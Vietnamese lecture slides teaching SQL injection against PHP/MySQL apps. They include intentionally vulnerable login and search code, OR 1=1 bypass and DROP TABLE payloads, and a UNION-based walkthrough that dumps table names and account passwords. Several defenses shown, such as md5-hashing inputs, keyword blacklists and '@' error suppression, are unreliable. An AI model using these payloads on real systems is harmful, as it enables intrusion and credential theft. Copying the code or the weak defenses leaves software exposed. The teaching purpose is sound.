BẢO MẬT ỨNG DỤNG WEB
SQL INJECTION
Nguyễn Hữu Thể
SQL Injection
Hình thức tấn công vào câu lệnh SQL. attacker chèn câu lệnh vào SQL của chương trình
• => khai thác dữ liệu.
Khai thác lỗi: các ứng dụng web với backend:
• Không sử dụng data object • Dùng kết nối query thuần • Các thông báo lỗi của hệ quản trị cơ sở dữ liệu trả về
2
SQL Injection
❖ Các dạng lỗi thường gặp: Không kiểm tra ký tự thoát truy vấn Xử lý không đúng kiểu Lỗi bảo mật bên trong máy chủ cơ sở dữ liệu Blind SQL Injection
3
Các dạng tấn công SQL injection
Dạng tấn công vượt qua kiểm tra đăng nhập Dạng tấn công sử dụng câu lệnh SELECT Dạng tấn công sử dụng câu lệnh INSERT Dạng tấn công sử dụng stored-procedures
4
Dạng tấn công vượt qua kiểm tra đăng nhập (authorization bypass)
Đăng nhập nhờ vào lỗi khi dùng các câu lệnh SQL. Ví dụ: table users như sau:
CREATE TABLE users (
id INT NOT NULL AUTO_INCREMENT, username VARCHAR(100) NULL, password VARCHAR(50) NULL, PRIMARY KEY (id) );
INSERT INTO users (username, password) VALUES ('aaa', '123456'); INSERT INTO users (username, password) VALUES ('bbb', '123456');
5
Dạng tấn công vượt qua kiểm tra đăng nhập (authorization bypass)
Câu truy vấn nhận dữ liệu:
$sql = "SELECT * FROM users
AND password = '" . $_POST['password']. "'";
6
WHERE username = '".$_POST[‘username']."'
Dạng tấn công vượt qua kiểm tra đăng nhập (authorization bypass)
require 'dbcon.php';
$sql = "SELECT * FROM users WHERE username = '".$_POST['username']."' AND password = '" . $_POST['password']. "'"; $result = mysqli_query($conn, $sql); $row = mysqli_fetch_array($result); if($row)
echo "
Thành công";
else
echo "
Thất bại";
mysqli_close($conn);
Dạng tấn công vượt qua kiểm tra đăng nhập (authorization bypass)
Đăng nhập: - Nhập vào ô username: khongbiet' OR 1 = 1 LIMIT 1 -- ] - Nhập vào ô password: khongbiet
SELECT * FROM users WHERE username = 'khongbiet' OR 1 = 1 LIMIT 1 -- ]' AND password = 'khongbiet'
Kết quả truy vấn:
SELECT * FROM users WHERE username = 'khongbiet' OR 1 = 1 LIMIT 1
8
Tương đương:
Dạng tấn công vượt qua kiểm tra đăng nhập (authorization bypass)
Đăng nhập thành công
TH1: Nhập đúng username và password
Đăng nhập thành công
9
TH2: không biết username và password
Dạng tấn công sử dụng câu lệnh SELECT
Lợi dụng các sơ hở trong các thông báo lỗi từ hệ
thống • => Dò tìm các điểm yếu khởi đầu cho việc tấn công.
Thông thường:
• Sẽ có một trang nhận ID của tin cần hiển thị • Sau đó truy vấn nội dung của tin có ID này • Hoặc ô nhập liệu tìm kiếm
10
Dạng tấn công sử dụng câu lệnh SELECT
Ví dụ:
CREATE TABLE monhoc ( maMon varchar(8) NOT NULL PRIMARY KEY, tenMon varchar(100) NOT NULL, soTC int(11) NOT NULL );
INSERT INTO monhoc (maMon, tenMon, soTC) VALUES ('03021003', 'Tin học cơ sở', 4), ('03021004', 'Nhập môn lập trình', 4), ('03021005', 'Phương pháp lập trình hướng đối tượng', 4);
11
Dạng tấn công sử dụng câu lệnh SELECT
Nhập tênmôn:
Dạng tấn công sử dụng câu lệnh SELECT
$sql = "SELECT * FROM monhoc
WHERE tenMon like '%".$_POST['tenmon']."%'";
echo "Mã môn: {$row['maMon']}. Tên môn: {$row['tenMon']}
";
echo "Câu truy vấn là: " . $sql. "
";
$result = mysqli_query($conn, $sql);
while($row = mysqli_fetch_array($result)) {
13
} mysqli_close($conn); ?>
Dạng tấn công sử dụng câu lệnh SELECT
Mã môn: 03021003. Tên môn: Tin học cơ sở
14
Dạng tấn công sử dụng câu lệnh SELECT
Mã môn: 03021004. Tên môn: Nhập môn lập trình Mã môn: 03021005. Tên môn: Phương pháp lập trình hướng đối tượng
15
Dạng tấn công sử dụng câu lệnh SELECT
Mã môn: 03021003. Tên môn: Tin học cơ sở Mã môn: 03021004. Tên môn: Nhập môn lập trình Mã môn: 03021005. Tên môn: Phương pháp lập trình hướng đối tượng
SELECT * FROM monhoc WHERE tenMon = 'a' or 1=1-- '
16
Dạng tấn công sử dụng câu lệnh SELECT
Câu lệnh Union: kết hợp 2 table cùng số cột
SELECT * FROM users Union SELECT * From monhoc
17
Dạng tấn công sử dụng câu lệnh SELECT
http://localhost/MyPhamOnline/php/index.php?function=sanphamchitiet&id=1
Liệt kê 1 dữ liệu có trong table
18
Dạng tấn công sử dụng câu lệnh SELECT
http://localhost/MyPhamOnline/php/index2.php?function=sanphamchitiet&id=0 or 1=1 --
Liệt kê tất cả dữ liệu có trong table
19
Dạng tấn công sử dụng câu lệnh SELECT Thực hiện nhiều truy vấn cùng lúc
Giả sử câu truy vấn có dạng:
$sql = "SELECT * FROM monhoc WHERE maMon = '" . $mamon . "'";
Người tấn công có thể nhập dữ liệu như sau:
a'; DROP TABLE users; SELECT * FROM sinhvien WHERE '1' = '1
SELECT * FROM monhoc WHERE maMon = 'a'; DROP TABLE users; SELECT * FROM sinhvien WHERE '1' = '1'
20
Câu truy vấn sau khi nhận dữ liệu như sau:
Dạng tấn công sử dụng câu lệnh SELECT Xử lý không đúng kiểu
Không kiểm tra và lọc kiểu dữ liệu đầu vào là số hay chuỗi
$sql = "SELECT * FROM monhoc WHERE maMon = " . $mamon ;
Người tấn công có thể nhập dữ liệu như sau:
1; DROP TABLE users
Câu truy vấn sau khi nhận dữ liệu như sau:
21
SELECT * FROM monhoc WHERE maMon =1; DROP TABLE users
Dạng tấn công sử dụng câu lệnh SELECT Thay đổi giá trị điều kiện truy vấn
Thay đổi giá trị điều kiện trong câu truy vấn làm sai lệch kết quả hiển thị của ứng dụng chứa lỗi này.
Ví dụ: câu truy vấn bình thường:
SELECT * from Users where username= ‘aaa’ AND 1=1;
Câu truy vấn thay đổi:
SELECT * from Users where username= ‘aaa’ AND 1=2;
=> Sẽ hiển thị một nội dung khác, hoặc không hiển thị.
22
Dạng tấn công sử dụng câu lệnh INSERT
Lợi dụng chức năng đăng ký tài khoản.
• => hệ thống không kiểm tra tính hợp lệ của thông tin nhập vào.
Ví dụ: Khi câu lệnh INSERT có dạng:
Nếu nhập vào trường thứ nhất:
INSERT INTO TableName VALUES(‘Value One’, ‘Value Two’, ‘Value Three’)
Câu truy vấn sẽ là:
‘ + (SELECT TOP 1 FieldName FROM TableName) +’
Chương trình sẽ thực thi 2 lệnh đồng thời: Insert, Select:
INSERT INTO TableName VALUES(‘ ‘ + (SELECT TOP 1 FieldName FROM TableName) + ‘ ‘, ‘aaa, ‘bbb’)
23
SELECT TOP 1 FieldName FROM TableName
Dạng tấn công sử dụng stored-procedures
A
24
BÀI TẬP
Table: LoaiSanPham(maloai, tenloai) SanPham(masp, tensp, mota, gia, maloai)
25
BÀI TẬP
Dữ liệu ngành trong tuyển sinh Users(userid, username, password, level) NganhHoc(manganh, tennganh, chitieu)
Mã ngành
Tìm
TH: Giao diện có 1 ô nhập liệu, bắt buộc nhập mới có thể
tìm. Hãy tìm cách để có thể: • a/ Liệt kê tất cả các dữ liệu trong table NganhHoc,
bỏ qua lệnh xử lý truy vấn tìm.
• b/ Liệt kê tất cả dữ liệu trong table có tên Users • c/ Cập nhật chỉ tiêu của ngành học có mã ngành 101
thành 500.
26
BÀI TẬP
Dữ liệu ngành trong tuyển sinh NganhHoc(manganh, tennganh, chitieu)
TH: Giao diện có 3 ô nhập liệu. Người dùng chỉ sử dụng được giao diện thêm, không vào được giao diện SỬA. Hãy tìm những cách có thể giúp người dùng sửa được chỉ tiêu của ngành có mã 102 thành 500.
Mã ngành
Tên ngành Chỉ tiêu
Thêm
27
Name
Information Functions Description
CHARSET()
Return the character set of the argument
COERCIBILITY()
Return the collation coercibility value of the string argument
COLLATION()
Return the collation of the string argument
CONNECTION_ID()
Return the connection ID (thread ID) for the connection
The authenticated user name and host name
CURRENT_USER(), CURRENT_USER
DATABASE()
Return the default (current) database name
FOUND_ROWS()
For a SELECT with a LIMIT clause, the number of rows that would be returned were there no LIMIT clause
LAST_INSERT_ID()
Value of the AUTOINCREMENT column for the last INSERT
ROW_COUNT()
The number of rows updated
SCHEMA()
Synonym for DATABASE()
SESSION_USER()
Synonym for USER()
SYSTEM_USER()
Synonym for USER()
USER()
The user name and host name provided by the client
VERSION()
Return a string that indicates the MySQL server version
28
Lệnh truy vấn database
Xem version database
• MySQL:
• SELECT version(); • SELECT @@version;
Xem tên database:
• MySQL
• SELECT DATABASE()
29
Lệnh truy vấn database
Xem USER
• SELECT USER()
30
GOM NHÓM DỮ LIỆU
Gom nhóm theo tên table
• group_concat(table_name)
Gom nhóm theo tên cột
• group_concat(table_column)
31
INFORMATION_SCHEMA
Information_schema là một database có sẵn trong hệ quản trị
cơ sở dữ liệu MySQL và MSSQL.
Hai trong số các table trong information_schema
•
•
information_schema.tables: Thông tin về tất cả các bảng có trong tất các database. information_schema.columns: Thông tin về tất cả các cột có trong tất các database.
32
➢ Sử dụng information_schema.tables để lấy tên tất cả các bảng trong CSDL
Trang web mục tiêu Địa chỉ có dạng: index.php?id=1
33
Thử khai thác lỗi: id=1’ (Hoặc: id=1 and 1=0) => Lỗi dòng 18
34
Dùng Order By để xác định số cột id=1 order by 10 --
35
Dùng Order By để xác định số cột id=1 order by 11 – => Lỗi dòng 18 =>Table có 10 cột
36
Kết hợp lệnh Union id=-1 UNION SELECT 1,2,3,4,5,6,7,8,9,10-- => Phát hiện cột nào có thể tấn công (Theo hình là cột: 4, 8)
37
Tìm version dựa vào cột 4 id=-1 UNION SELECT 1,2,3,version(),5,6,7,8,9,10 --
38
Tìm tên database dựa vào cột 4 id=-1 UNION SELECT 1,2,3, database(),5,6,7,8,9,10 --
39
Tìm User đang quản trị id=-1 UNION SELECT 1,2,3, user(),5,6,7,8,9,10 --
40
id=-1 UNION SELECT 1,2,3,unhex(hex(group_concat(table_name))),5,6,7,8,9,10 From information_schema.tables Where table_schema=database() --
Kết quả: danh sách tên table như hình
41
Tìm cột trong table taikhoan:
id=-1 UNION SELECT 1,2,3,unhex(hex(group_concat(column_name))),5,6,7,8,9,10 From information_schema.columns Where table_name=taikhoan--
=>Lỗi => Cần chuyển taikhoan sang ASCII
42
Tìm cột trong table taikhoan:
id=-1 UNION SELECT 1,2,3,unhex(hex(group_concat(column_name))),5,6,7,8,9,10 From information_schema.columns Where table_name=CHAR(116, 97, 105, 107, 104, 111, 97, 110) --
Với CHAR(116, 97, 105, 107, 104, 111, 97, 110) là mã ASCII của taikhoan
43
Tìm cột trong table taikhoan:
id=-1 UNION SELECT 1,2,3,unhex(hex(group_concat(tk_ten_dangnhap, tk_matkhau))),5,6,7,8,9,10 From taikhoan--
44
Tìm cột trong table taikhoan:
id=-1 UNION SELECT 1,2,3,unhex(hex(group_concat(tk_ten_dangnhap, 0x3a, tk_matkhau))),5,6,7,8,9,10 From taikhoan--
Với 0x3a: ký tự hai chấm
45
BÀI TẬP Trình bày các bước kiểm tra 1 link website có khả năng bị lỗi SQL Injection? Viết các câu lệnh liệt kê thông tin từ 1 table (nếu trang có lỗ hỏng)?
Link mục tiêu: www.test.vn/sanpham.php?maso=101
1. Kiểm tra link có khả năng bị lỗi hay không? => Dựa vào thông tin nào? 2. Kiểm tra table đang trình bày thông tin này có mấy cột?
▪ Giả sử table có 12 cột
3. Kiểm tra cột nào trong table có thể bị xâm nhập? ▪ Giả sử phát hiện cột số 5 và cột số 7
4. Kiểm tra vesion của hệ quản trị CSDL? 5. Kiểm tra tên database của hệ quản trị CSDL? 6. Kiểm tra user nào trong hệ quản trị CSDL quản lý database này? 7. Liệt kê danh sách table có trong database của web?
▪ Giả sử có các table: tblsanpham, tblloai, tbltaikhoan,…
8. Liệt kê danh sách các cột từ 1 table bất kỳ tìm thấy?
▪ Giả sử: tbltaikhoan(hoten, tendangnhap, matkhau, email, quyen)
46
9. Liệt kê nội dung trong 2 cột đã tìm thấy ở bước 8.
BÀI TẬP
Dữ liệu ngành trong tuyển sinh NganhHoc(manganh, tennganh, chitieu)
TH: Giao diện có 3 ô nhập liệu. Người dùng chỉ sử dụng được giao diện thêm, không vào được giao diện SỬA. Hãy tìm những cách có thể giúp người dùng sửa được chỉ tiêu của ngành có mã 102 thành 500.
Mã ngành
Tên ngành Chỉ tiêu
Thêm
47
SQL INJECTION VÀ KHẮC PHỤC
Ví dụ, đoạn code kiểm tra đăng nhập như sau:
echo "
Thành công";
$username = $_POST['username']; $password = $_POST['password']; $sql = "SELECT * FROM users WHERE username = '". $username ."' AND password = '" . $password. "'"; $result = mysqli_query($conn, $sql); $row = mysqli_fetch_array($result); if($row)
else
echo "
Thất bại";
mysqli_close($conn);
SQL INJECTION VÀ KHẮC PHỤC
Thử tấn công bằng SQL Injection
• TH 1: biết tên username
Username: admin Password: ' OR '1'='1
49
// Câu truy vấn là: select * from users where username='admin' and password='' OR '1'='1'
SQL INJECTION VÀ KHẮC PHỤC
Thử tấn công bằng SQL Injection
• TH 2: không biết tên username và password
Username: ' OR '1'='1 Password: ' OR '1'='1
// Câu truy vấn là: select * from users where username='' OR '1'='1' and password='' OR '1'='1'
Hoặc: Username: khongbiet' OR 1 = 1 -- Password: khongbiet
50
SELECT * FROM users WHERE username = 'khongbiet' OR 1 = 1
PHÒNG CHỐNG SQL INJECTION
TH1: mysql_real_escape_string()
• Xóa các ký tự đặc biệt trong các dữ liệu đầu vào (dấu nháy
đơn)
require 'dbcon.php';
$username = mysql_real_escape_string($_POST['username']); $password = mysql_real_escape_string($_POST['password']); $sql = "SELECT * FROM users WHERE username = '". $username ."' AND password = '" . $password. "'"; $result = mysqli_query($conn, $sql); $row = mysqli_fetch_array($result); if($row)
echo "
Thành công";
echo "
Thất bại";
51
else
mysqli_close($conn);
PHÒNG CHỐNG SQL INJECTION
TH2: md5()
• mã hóa toàn bộ username và password
require 'dbcon.php';
$username = md5($_POST['username']); $password = md5($_POST['password']); $sql = "SELECT * FROM users WHERE username = '". $username ."' AND password = '" . $password. "'"; $result = mysqli_query($conn, $sql); $row = mysqli_fetch_array($result); if($row)
echo "
Thành công";
else
echo "
Thất bại";
52
mysqli_close($conn);
SQL Infection không thực hiện được => vì đã mã hóa ra chuỗi ký tự => Việc chèn thêm các ký tự bị vô hiệu
PHÒNG CHỐNG SQL INJECTION
Kiểm tra dữ liệu kiểu chuỗi
• Thiết lập độ dài tối đa cần thiết: length <= MAX_LENGTH.
các
• Lọc bỏ ký tự nguy hiểm, lọc bỏ các từ khóa như union, select, order, information_schema, insert, drop, load_file… (sử dụng hàm như mysql_real_escape_string(), preg_replace(), addslashes(), htmlspecialchars(),…)
• Viết các biểu thức chính qui (Regular Expression) cho mỗi
định dạng: email, username,…
53
PHÒNG CHỐNG SQL INJECTION
mysql_real_escape_string(String) Hàm thư viện MySQL Thêm dấu gạch chéo trước các ký tự đặc biệt:
\x00, \n, \r, \, ', " và \x1a
• • Ví dụ: mysqli_real_escape_string(“A' OR 1=1 --”)
A\' OR 1=1 --
54
PHÒNG CHỐNG SQL INJECTION
addslashes( $str ) Thêm dấu gạch chéo trước những ký tự (‘, “, \) trong chuỗi $str.
echo addslashes ("This's a text");
Kết quả: This\'s a text
55
PHÒNG CHỐNG SQL INJECTION
htmlentities($str) Chuyển các thẻ html trong chuỗi $str sang dạng Entities. Result Description
Entity Name Entity Number
< less than < <
> greater than > >
& ampersand & &
'
single quotation mark
'
'
echo htmlentities("This's a text");
56
This's a text
" double quotation mark " "
PHÒNG CHỐNG SQL INJECTION
md5( $str) Mã hóa chuỗi thành một dãy 32 ký tự (mã hóa md5).
echo md5("123456");
e10adc3949ba59abbe56e057f20f883e
57
PHÒNG CHỐNG SQL INJECTION
sha1($string) Mã hóa chuỗi thành một dãy 40 ký tự
echo sha1("123456");
7c4a8d09ca3762af61e59520943dc26494f8941b
58
PHÒNG CHỐNG SQL INJECTION
str_replace($chuoi_tim, $chuoi_thay_the, $chuoi_nguon )
Tìm kiếm và thay thế chuỗi
echo str_replace( "--", "", "Loai bo ky tu --" );
Loai bo ky tu
59
PHÒNG CHỐNG SQL INJECTION
Strlen(String) Lấy chiều dài chuỗi
$s = "CNTT"; echo "Chiều dài của chuỗi: ".strlen($s);
Chiều dài của chuỗi: 4
60
PHÒNG CHỐNG SQL INJECTION
Kiểm tra dữ liệu kiểu số
is_numeric($var) is_int($var) is_integer($var)
Ép kiểu: nếu dữ liệu nhận xử lý là kiểu số
$id = (int)$_POST['id'];
hoặc
$id = (int)$_GET['id'];
61
PHÒNG CHỐNG SQL INJECTION
Ngăn chặn các thông báo lỗi gửi từ máy chủ: bằng
cách thêm ký tự @ trước câu lệnh SQL.
$id = $_GET[id]; mysql_query("SELECT * FROM tbl_name WHERE id=$id");
62
$id = $_GET[id]; @mysql_query("SELECT * FROM tbl_name WHERE id=$id");
Bài tập: Hãy liệt kê tất cả các phương pháp chống SQL Injection bạn biết
require 'dbcon.php';
$tendangnhap = $_POST['tendangnhap'];
$matkhau = $_POST[‘matkhau'];
$sql = "SELECT * FROM users
WHERE username = '". $tendangnhap ."' AND password = '" . $matkhau. "'";
$result = mysqli_query($conn, $sql);
$row = mysqli_fetch_array($result);
if($row) echo "
Thành công";
else echo "
Thất bại";
mysqli_close($conn);